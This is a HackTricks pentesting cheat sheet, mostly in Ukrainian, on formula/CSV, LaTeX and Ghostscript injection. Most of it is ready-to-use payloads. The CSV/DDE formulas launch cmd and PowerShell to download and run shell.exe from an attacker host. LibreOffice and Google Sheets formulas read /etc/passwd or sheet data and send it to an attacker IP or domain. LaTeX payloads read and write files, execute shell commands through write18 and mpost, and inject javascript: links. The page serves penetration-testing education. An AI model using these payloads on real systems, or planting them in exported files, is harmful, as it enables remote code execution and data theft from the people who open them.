hacktricks/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md

220 lines
16 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Formula/CSV/Doc/LaTeX/GhostScript Injection
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Formula Injection
### Info
Якщо ваш **вхід** відображається всередині **CSV файлів** (або будь-якого іншого файлу, який, ймовірно, буде відкритий за допомогою **Excel**), ви, можливо, зможете вставити **формули** Excel, які будуть **виконані**, коли користувач **відкриває файл** або коли користувач **натискає на деяке посилання** всередині аркуша Excel.
{% hint style="danger" %}
Сьогодні **Excel попередить** (декілька разів) **користувача, коли щось завантажується ззовні Excel**, щоб запобігти йому від злочинних дій. Тому необхідно докласти спеціальних зусиль у соціальній інженерії до фінального payload.
{% endhint %}
### [Wordlist](https://github.com/payloadbox/csv-injection-payloads)
```
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
```
### Hyperlink
**Наступний приклад є дуже корисним для ексфільтрації вмісту з фінальної таблиці Excel та для виконання запитів до довільних місць. Але це вимагає, щоб користувач натиснув на посилання (і прийняв попередження).**
Наступний приклад був взятий з [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
Уявіть, що у системі управління записами студентів сталася витік безпеки, який був використаний через атаку CSV injection. Основна мета зловмисника - скомпрометувати систему, яку використовують вчителі для управління даними студентів. Метод полягає в тому, що зловмисник вводить шкідливий код у додаток, зокрема, вводячи шкідливі формули у поля, призначені для даних студентів. Атака розгортається наступним чином:
1. **Введення шкідливого коду:**
* Зловмисник подає форму даних студента, але включає формулу, яка зазвичай використовується в електронних таблицях (наприклад, `=HYPERLINK("<malicious_link>","Click here")`).
* Ця формула призначена для створення гіперпосилання, але вона вказує на шкідливий сервер, контрольований зловмисником.
2. **Експорт скомпрометованих даних:**
* Вчителі, не підозрюючи про компрометацію, використовують функціональність додатка для експорту даних у CSV файл.
* CSV файл, коли його відкривають, все ще містить шкідливий код. Цей код з'являється як клікабельне гіперпосилання в електронній таблиці.
3. **Активація атаки:**
* Вчитель натискає на гіперпосилання, вважаючи його легітимною частиною даних студента.
* Після натискання чутливі дані (можливо, включаючи деталі з електронної таблиці або комп'ютера вчителя) передаються на сервер зловмисника.
4. **Логування даних:**
* Сервер зловмисника отримує та реєструє чутливі дані, надіслані з комп'ютера вчителя.
* Зловмисник може потім використовувати ці дані для різних шкідливих цілей, ще більше компрометуючи конфіденційність і безпеку студентів та установи.
### RCE
**Перевірте** [**оригінальний пост**](https://notsosecure.com/data-exfiltration-formula-injection-part1) **для отримання додаткових деталей.**
У специфічних конфігураціях або старіших версіях Excel функція, званий Динамічний обмін даними (DDE), може бути використана для виконання довільних команд. Щоб скористатися цим, необхідно активувати наступні налаштування:
* Перейдіть до Файл → Параметри → Центр управління безпекою → Налаштування центру управління безпекою → Зовнішній вміст, і активуйте **Запуск сервера динамічного обміну даними**.
Коли електронна таблиця з шкідливим кодом відкривається (і якщо користувач приймає попередження), код виконується. Наприклад, щоб запустити програму калькулятора, код буде:
```markdown
=cmd|' /C calc'!xxx
```
Додаткові команди також можуть бути виконані, такі як завантаження та виконання файлу за допомогою PowerShell:
```bash
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
```
### Local File Inclusion (LFI) in LibreOffice Calc
LibreOffice Calc може бути використаний для читання локальних файлів та ексфільтрації даних. Ось кілька методів:
* Читання першого рядка з локального файлу `/etc/passwd`: `='file:///etc/passwd'#$passwd.A1`
* Ексфільтрація прочитаних даних на сервер, контрольований зловмисником: `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))`
* Ексфільтрація більше ніж одного рядка: `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
* DNS ексфільтрація (відправка прочитаних даних як DNS запити на сервер DNS, контрольований зловмисником): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))`
### Google Sheets for Out-of-Band (OOB) Data Exfiltration
Google Sheets пропонує функції, які можуть бути використані для OOB ексфільтрації даних:
* **CONCATENATE**: Об'єднує рядки - `=CONCATENATE(A2:E2)`
* **IMPORTXML**: Імпортує дані з структурованих типів даних - `=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
* **IMPORTFEED**: Імпортує RSS або ATOM стрічки - `=IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))`
* **IMPORTHTML**: Імпортує дані з HTML таблиць або списків - `=IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
* **IMPORTRANGE**: Імпортує діапазон клітинок з іншої таблиці - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")`
* **IMAGE**: Вставляє зображення в клітинку - `=IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")`
## LaTeX Injection
Зазвичай сервери, які можна знайти в інтернеті, що **конвертують LaTeX код в PDF**, використовують **`pdflatex`**.\
Ця програма використовує 3 основні атрибути для (не)дозволу виконання команд:
* **`--no-shell-escape`**: **Вимкнути** конструкцію `\write18{command}`, навіть якщо вона увімкнена в файлі texmf.cnf.
* **`--shell-restricted`**: Те ж саме, що і `--shell-escape`, але **обмежено** 'безпечним' набором **попередньо визначених** \*\*команд (\*\*На Ubuntu 16.04 список знаходиться в `/usr/share/texmf/web2c/texmf.cnf`).
* **`--shell-escape`**: **Увімкнути** конструкцію `\write18{command}`. Команда може бути будь-якою командою оболонки. Ця конструкція зазвичай заборонена з міркувань безпеки.
Однак є й інші способи виконання команд, тому, щоб уникнути RCE, дуже важливо використовувати `--shell-restricted`.
### Read file <a href="#read-file" id="read-file"></a>
Вам може знадобитися налаштувати ін'єкцію з обгортками, такими як \[ або $.
```bash
\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
```
#### Прочитати файл з одного рядка
```bash
\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
```
#### Читання файлу з кількома рядками
```bash
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file
```
### Записати файл <a href="#write-file" id="write-file"></a>
```bash
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile
```
### Виконання команд <a href="#command-execution" id="command-execution"></a>
Вхідні дані команди будуть перенаправлені до stdin, використовуйте тимчасовий файл, щоб їх отримати.
```bash
\immediate\write18{env > output}
\input{output}
\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}
# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
```
Якщо ви отримаєте будь-яку помилку LaTex, розгляньте можливість використання base64, щоб отримати результат без поганих символів.
```bash
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
```
```bash
\input|ls|base4
\input{|"/bin/hostname"}
```
### Cross Site Scripting <a href="#cross-site-scripting" id="cross-site-scripting"></a>
Від [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
```bash
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
```
## Ghostscript Injection
**Перевірте** [**https://blog.redteam-pentesting.de/2023/ghostscript-overview/**](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)
## Посилання
* [https://notsosecure.com/data-exfiltration-formula-injection-part1](https://notsosecure.com/data-exfiltration-formula-injection-part1)
* [https://0day.work/hacking-with-latex/](https://0day.work/hacking-with-latex/)
* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
**Спробуйте Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримайте HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}